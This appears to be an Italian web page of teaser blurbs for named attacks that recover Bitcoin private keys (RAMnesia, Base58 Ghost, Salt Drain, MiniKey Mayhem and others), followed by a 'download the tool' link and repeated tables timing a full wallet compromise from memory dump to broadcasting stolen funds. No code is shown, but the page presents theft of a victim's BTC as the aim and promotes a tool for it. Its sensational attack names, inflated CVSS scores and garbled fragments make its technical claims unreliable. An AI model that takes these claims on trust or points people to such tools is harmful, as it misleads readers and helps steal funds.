  • BitSpectre85 Attack: Un attacco crittografico subdolo che consente a un attaccante di recuperare gradualmente una chiave privata e ottenere il controllo di un portafoglio Bitcoin misurando i tempi delle operazioni di divisione. L’attacco BitSpectre85 , l’essenza della vulnerabilità sopra descritta, potrebbe essere chiamato «BitSpectre85: Timing Secret Invocation.» Questo attacco dimostra come anche la semplice crittografia dei dati possa diventare un canale vulnerabile…Leggi tutto
  • Base58 Ghost Attack: Controllo completo sui fondi della vittima. Una vulnerabilità critica nell’elaborazione della memoria non ripulita della codifica Base58, dove un attacco provoca la fuga di chiavi private dalla memoria e la completa cattura delle monete BTC da parte dell’attaccante. “Base58 Ghost Attack” — estrazione di chiavi private dalla memoria non ripulita dopo le operazioni di codifica base58. In conclusione, la vulnerabilità critica scoperta nell’elaborazione delle chiavi private tramite la codifica base58 rappresenta…Leggi tutto
  • Spectral Seed Siphon: Come i byte di memoria residua rivelano le chiavi private dei portafogli Bitcoin persi e diventano un percorso per recuperare le chiavi private, consentendo a un attaccante di rubare tutte le monete BTC Spectral Seed Siphon La vulnerabilità della cancellazione incompleta dei dati segreti dalla RAM nei portafogli crittografici rappresenta una delle minacce più critiche per il moderno ecosistema Bitcoin. Nel…Leggi tutto
  • Binary Extractor Attack: Come una morsa digitale sulle chiavi private esercita il controllo sui fondi Bitcoin di una vittima, dove un attaccante sfrutta una classe Binary vulnerabile e cambia le regole del gioco incapsulando e rubando in massa le monete BTC. Binary Extractor Attack: Private Byte Strangler Una vulnerabilità critica chiamata Binary Extractor Attack: Private Byte Strangler illustra il pericolo fondamentale del mancato rispetto di una rigida incapsulazione nelle applicazioni crittografiche…Leggi tutto
  • Spectral String Leak: Una compromissione di massa dei portafogli Bitcoin attraverso la memoria residua e una vulnerabilità critica nella gestione delle stringhe nella rete Bitcoin, che consente a un attaccante di recuperare una chiave privata e appropriarsi di tutte le criptovalute attive. Spectral String Leak Attack Un Spectral String Leak Attack è una vulnerabilità critica che può portare alla perdita totale dei bitcoin da parte di utenti e servizi a causa di una sicurezza insufficiente…Leggi tutto
  • Memory Phantom Attack: Una vulnerabilità critica di perdita di memoria in Bitcoin, che porta al recupero di chiavi private dalla RAM non ripulita e alla cattura graduale delle frasi seed BTC da parte di un attaccante, può portare a una compromissione immediata dei portafogli e al furto di massa degli asset digitali. Memory Phantom Attack Un Memory Phantom Leak Attack o Sensitive Memory Disclosure è una categoria di minaccia reale e riconosciuta per Bitcoin (e altre criptovalute), registrata nel CVE come…Leggi tutto
  • Log Whisper Attack: Come si verifica una fuga catastrofica di chiavi private e una compromissione irreversibile dei portafogli Bitcoin, dove un attaccante trasforma un normale file di log in uno strumento per intercettare tutti i fondi della vittima sulla rete BTC. Log Whisper Attack La vulnerabilità «Log Whisper Attack» è un esempio di errore critico di sviluppo con conseguenze irreversibili. L’unica difesa efficace è un divieto architetturale sulle chiavi private…Leggi tutto
  • Salt Drain Attack (CVE-2023-39910): Una vulnerabilità critica nell’entropia di Libbitcoin Explorer e il recupero completo delle chiavi private con il sequestro dei fondi dei portafogli BTC. L’intero difetto nell’entropia del proprietario ha permesso a un attaccante di rubare tutte le monete BTC attive. Salt Drain Attack CVE-2023-39910: (attacco Milk Sad) L’attacco Milk Sad (CVE-2023-39910) ha permesso agli attaccanti di recuperare in massa le chiavi private dei portafogli Bitcoin creati utilizzando Libbitcoin Explorer 3.x, causando perdite finanziarie significative…Leggi tutto
  • Entropy Recovery Attack: Lo spettro dell’entropia contro Bitcoin: una vulnerabilità nella generazione di numeri casuali e la perdita di dati segreti, inclusi il recupero delle chiavi private e il controllo totale dei fondi BTC da parte di un attaccante. «Entropy Ghost Attack» — Battaglia con il fantasma dell’entropia La vulnerabilità nella generazione dell’entropia di libbitcoin (CVE-2023-39910) è un difetto raro e catastrofico che può non solo indebolire parzialmente il crittosistema ma completamente…Leggi tutto
  • Slice Phantom Attack: Come i bug di implementazione trasformano le chiavi private Bitcoin perse in uno strumento di controllo totale per un attaccante, dove una nuova classe di attacchi side-channel di implementazione: compromettere un segreto e perdere il controllo per il proprietario di un portafoglio Bitcoin Slice Phantom Attack L’attacco Slice Phantom   dimostra che  i dettagli di implementazione  sono importanti quanto la robustezza matematica degli algoritmi. L’ordinamento errato delle operazioni e la mancanza di protezione dei buffer temporanei consentono…Leggi tutto
  • Key Fragmentation Heist – Una nuova era della frammentazione: come le fughe parziali diventano furti completi di asset Bitcoin, dove un attaccante ottiene il controllo totale e si impadronisce completamente dei fondi BTC attraverso fughe frammentate di chiavi private e dati segreti Key Fragmentation Heist Attack Key Fragmentation Heist Attack: L’attaccante trasforma un oggetto sicuro utilizzato per memorizzare chiavi private crittografate in una vulnerabilità rubando la chiave frammento per frammento, piuttosto che…Leggi tutto
  • Stealth Hijack Attack: Recupero di chiavi private e furto completo dei BTC di una vittima tramite una vulnerabilità di serializzazione degli script Bitcoin, dove l’attaccante crea un portafoglio con l’uso pubblico di uno script stealth personalizzato, dove le chiavi private sono codificate in sezioni nascoste della libreria LibBitcoin. Stealth Hijack è un attacco che sfrutta un bug nell’elaborazione degli script e ruba le chiavi segrete nascoste in una struttura dati. Stealth Hijack Attack: Rubare i segreti degli script In un «Stealth Hijack»…Leggi tutto
  • MiniKey Mayhem Attack: Hackeraggi di massa e acquisizione completa dei fondi BTC delle vittime attraverso una vulnerabilità di attacco brute-force alle chiavi private, dove un attaccante si impadronisce dei portafogli Bitcoin persi attraverso un’ondata di mini-chiavi da 22 caratteri utilizzando l’algoritmo KDF. MiniKey Mayhem Attack: Tempesta Diretta Immagina un cyber-assaltatore che irrompe in un «Forte MiniKey» con un cannone SHA-256 ad alta velocità: durante una «tempesta diretta,» l’attaccante spara un’ondata di mini-chiavi da 22 caratteri…Leggi tutto
  • Attacco Shaman’s Gate: derivazione HD e una vulnerabilità invisibile che consente il recupero delle chiavi private e il furto di tutti i BTC tramite le chiavi master, dove l’attaccante ottiene gradualmente il controllo completo sui fondi Bitcoin. Attacco Shaman’s Gate La classe di attacchi «Shaman’s Gate Attack» è una conseguenza fondamentale della derivazione non-hardened nei portafogli HD, come confermato da numerosi hack. Attenendosi alla pratica di…Leggi tutto
  • Attacco PhantomKey Heist: perdita invisibile di chiavi private e recupero dell’accesso a portafogli Bitcoin perduti con controllo totale sul saldo della vittima, dove l’attaccante, in modo amichevole, inietta un modulo sull’audit delle chiavi private PhantomKey Heist: un attacco invisibile di cattura delle chiavi private. PhantomKey Heist trasforma un’innocua chiamata a un operatore C++ in un enorme furto di tesoro digitale. Attacco PhantomKey Heist La critica vulnerabilità «PhantomKey Heist» dimostra…Leggi tutto
  • Attacco RAMnesia: un cryptohack basato su RAM che consente il recupero totale delle chiavi private e il furto completo dei fondi da portafogli Bitcoin perduti. Un attaccante sfrutta la «scatola nera» della memoria e innesca la vulnerabilità Secret Key Leakage, distruggendo così la sicurezza della criptovaluta Bitcoin. Attacco RAMnesia RAMnesia è un audace attacco crittografico in cui un attaccante trasforma la RAM della vittima in una «scatola nera» per cacciare chiavi private dimenticate. Nello scenario dell’attacco, l’hacker…Leggi tutto
  • Phantom Keysmith: entropia prevedibile come arma per la presa completa del portafoglio Bitcoin, dove un attaccante indovina il seed segreto forzando la generazione e recuperando la chiave privata usando la debole entropia della memoria e ruba assolutamente tutti i fondi BTC. Attacco Phantom Keysmith L’attaccante agisce come un «fabbro fantasma» che forgia chiavi private direttamente dall’etere della memoria non inizializzata. L’attacco sfrutta le vulnerabilità di creazione e serializzazione ek_tokento forge una nuova chiave di lavoro…Leggi tutto
  • Attacco Konsole Leaker: una perdita silenziosa in cui un attaccante ottiene il controllo completo sui fondi BTC recuperando le chiavi private dai log, minando i principi fondamentali della criptovaluta Bitcoin. Attacco Konsole Leaker L’attacco, soprannominato «Konsole Leaker Attack», è spettacolare, facilmente riproducibile ed estremamente pericoloso per la maggior parte dei progetti con scarsa igiene dei dati di output interni. L’attacco sfrutta una chiave privata non controllata…Leggi tutto

  • Read more

    Scarica lo strumento
    ProcessoTempoAttrezzatura
    Acquisizione di un dump di memoria5-30 secondiDipende dal metodo
    Scansione di un dump da 16GB2-5 minutiMacBook Air (M1)
    Validazione di 1000 chiavi candidate30 secondiMacBook Air (M1)
    Generazione dell'indirizzo10 secondiMacBook Air (M1)
    Trasferimento dei fondi (broadcast)< 1 secondoInternet
    Totale per il compromesso completo< 10 minutiMacBook Air (M1)
    AspettoValutazioneNota
    CVE-2025-60013 (HSM init)CVSS 5.7 (Medio)Ufficialmente basso, ma funge da punto di ingresso
    Attacco Scalar VenomCVSS 8.5+ (Alto/Critico)Impatto critico de facto
    Attacco combinatoCVSS 9.5+ (Critico)Compromissione completa delle chiavi private
    Recupero dalla compromissioneImpossibilePerdita irreversibile di fondi
    ProcessoTempoAttrezzatura
    Ottenimento di un memory dump5-30 secDipende dal metodo
    Scansione di un dump da 16GB2-5 minMacBook Air (M1)
    Validazione di 1000 chiavi candidate30 secMacBook Air (M1)
    Generazione dell'indirizzo10 secMacBook Air (M1)
    Trasferimento dei fondi (broadcast)< 1 secInternet
    Totale per una compromissione completa< 10 minutiMacBook Air (M1)